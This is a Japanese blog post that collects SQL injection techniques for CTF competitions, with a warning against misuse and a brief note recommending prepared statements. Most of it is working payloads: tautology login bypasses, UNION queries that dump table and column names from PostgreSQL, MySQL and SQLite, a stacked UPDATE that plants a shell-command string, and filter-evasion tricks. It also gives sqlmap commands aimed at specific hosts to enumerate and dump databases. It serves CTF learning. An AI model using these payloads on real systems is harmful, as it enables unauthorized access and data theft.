はまやんはまやんはまやん

hamayanhamayan's blog

WebセキュリティにおけるSQLインジェクション問題への傾向と対策

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

SQLインジェクション (SQL Injection, SQLi)

SQLインジェクションとは

CWE-89 SQLインジェクション
SQL文に任意の文字列を入れてSQL文を構築する場合に、適切な入れ方をしないと意図しないSQL文を実行できてしまう。
ググると大量の資料が出てくる。
軽く説明すると、

SELECT * FROM users WHERE pass = '[ユーザー入力部分]'

となっているときに' OR '' = 'と差し込むと、

SELECT * FROM users WHERE pass = '' OR '' = ''

となって、WHERE文が恒真となり、全部の情報を抜き出せちゃうみたいな話。
注意点だが、SQLiが行える場合はDB内の『全ての情報』を抜き出すことが可能である(元々のSQL文はほぼ関係ない)。
かなり危険なので注意してほしい。

DB毎の攻撃まとめ

PostgreSQL

  • ' OR 1=1 --
  • Postgres SQL Injection Cheat Sheet | pentestmonkey
    • ここを見ると抜き出す方法が色々書いてある
  • 色々
  • pg_userでユーザー情報を抜き取れる
    • /?search=%5C%27%20%3B%20select%20usename,%20usename,%20now()%20from%20pg_user%3B%20--%20&limit=60
    • URLに入れるときは' ;%エンコードする。,-'()はしない
    • date型を要求された場合は、now()を入れておけば通ったりする
    • \' union select url, session_user, tweeted_at from tweets --のようにどんな場合でもsession_userとすればログインユーザーが得られるみたい
  • コメント /* comment */が使えたりする。-がNGになっていたら、末尾に/*でコメントできるかも
    • ' union select 'admin', 'pass' /*

MySQL

  • #が使えたらMySQLだし、そうでなければそれ以外(PostgresSQL, SQLite)
  • inforrmation_schema.columnsでカラム情報を抜ける' || (SELECT group_concat(TABLE_NAME) from INFORMATION_SCHEMA.COLUMNS) || '
  • UNIONによる結合で情報を抜く
    • UNION SELECT null,flag FROM flagみたいにやるが、カラムが使えないときは、JOINを使うこともある 参考
  • 暗黙の型変換
    • MySQLでは+演算子は数値の和算として評価されるので'a'+'b'は'ab'ではなくて0+0で0と解釈される
    • 数値として正しくない文字列は0として変換されるらしい
    • これでpassword = 0となるが、またしても暗黙の型変換が起こり、passwordは一般に数値変換できないので、0=0と認識されて、全件ヒットする
    • ||演算子論理和として解釈されるので危険らしい
    • パスワードに'=0#を入れると、パスワード比較部分が恒真となったりする
  • UPDATEをインジェクションできたりする
    • 1;UPDATE photos SET filename='* || env > dump.txt' WHERE id = 3;COMMIT;--
    • セミコロンで区切って、それっぽくつなげる。
    • セミコロン後に空白を入れるとダメっぽい?
  • 使用済みペイロード一覧
    • ' OR ''='' #
    • カラム数特定
      • ' UNION SELECT 1 #
      • ' UNION SELECT 1,2 #
    • テーブル情報抜く
      • ' UNION SELECT group_concat(TABLE_NAME), null from INFORMATION_SCHEMA.COLUMNS #
      • ' UNION SELECT DISTINCT TABLE_NAME, null from INFORMATION_SCHEMA.COLUMNS #
      • ' UNION SELECT group_concat(COLUMN_NAME), null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Agents' #
    • 普通にデータ抜く
      • ' UNION SELECT group_concat(UA), null FROM Agents #

SQLite

  • テーブル情報を全て抜き出す
    • SELECT group_concat(sql) FROM sqlite_masterとすると、カンマで結合されて1レコードで出てくる 出典
    • SELECT sql FROM sqlite_masterと書くと全部バラバラに出てくる
  • --で末尾コメントになる
  • 使用済みペイロード
    • 1 OR 1=1
  • ASを使って新しいテーブルを作成する
    • SELECT id,username FROM (select 2 id,enemy username FROM costume where id like 1) WHERE id = 2
    • こういう感じにFROM内部にインジェクションすることで、enemyをぶっこ抜ける
    • SELECT内部はselect 2 as id, enemy as username FROM costume where id like 1と同義

細かいテク

  • SQL文のlimitにインジェクションできるとき
    • limitの後ろにunionでテーブルを追加することはできないが、Blind SQL Injectionを仕掛けることはできる
    • → Blind SQL Injection
  • サニタイジング回避テク
    • Space2Comment
      • /**/を使うと空白として扱われれる
      • RITSEC CTF 2018 Space Force 「'=''or'」、「'//union//select//*//from/**/spaceships#」、「'=''#」
    • 1度だけ置換される、ブラックリストが空文字で変換されるとき
      • selselectectのような感じにすると、内部のselectが消えて、無事selectになってくれる
    • ‘union(select(1),tabe_name,(3)frominformation_schema.tables)#
    • "union(select/**/table_name/**/frominformation_schema.tables)#
    • フィルタしている場合
      • ユーザ名:パスワードの組で指定する時に、ユーザ名でadmin'--としてしまう 手法出典 問題:picoCTF2019 Irish-Name-Repo 2
  • limitテク
    • limit 1とすると先頭1つになるが、limit 1,1とすると先頭2つ目、limit 2,1とすると先頭3つ目。

SQL Injection問題 CTF

Practicalな話

実装時に気を付けること

  • ユーザーの入力がSQLに極力入らないようにする
  • SQLを組み立てるときは、プリペアードステートメントを使えば確実(というか絶対使おう)
  • あと、delete文の作成時は削除個数を指定すると、事故が減るとか見たことがある気がする

(CTFじゃ使えないけど)テストツール

sqlmapが有名。 sqlmapでSQLインジェクションの検証 - Qiita

GETのとき
$ docker run --rm -it -v d:\tmp:/root/.sqlmap/ paoloo/sqlmap --url "http://web.ctf.b01lers.com:1001/query?search=olympus_mons%20"
POSTのとき
$ docker run --rm -it -v d:\tmp:/root/.sqlmap/ paoloo/sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password='"

これの末尾にいろいろ追加して情報を抜き取る
- `--dbs` DB一覧が得られる
- `-D [DB名] --tables` 指定DBのテーブル一覧が見られる
- `-D [DB名] -T [テーブル名] --columns`で指定テーブルのカラム一覧が見られる
- `-D [DB名] -T [テーブル名] -C [カラム名、カンマ区切りにより複数指定] --dump`で指定カラムのデータが見られる

$ sqlmap --url "http://35.227.24.107/9f48591542/fetch?id=1" --method GET --dbs -p id --code 200 --skip-waf --random-agent --threads 10 -o --technique B
$ sqlmap --url "http://35.227.24.107/9f48591542/fetch?id=1" --method GET -p id --code 200 --skip-waf --random-agent --threads 10 -o --technique B -D level5 --tables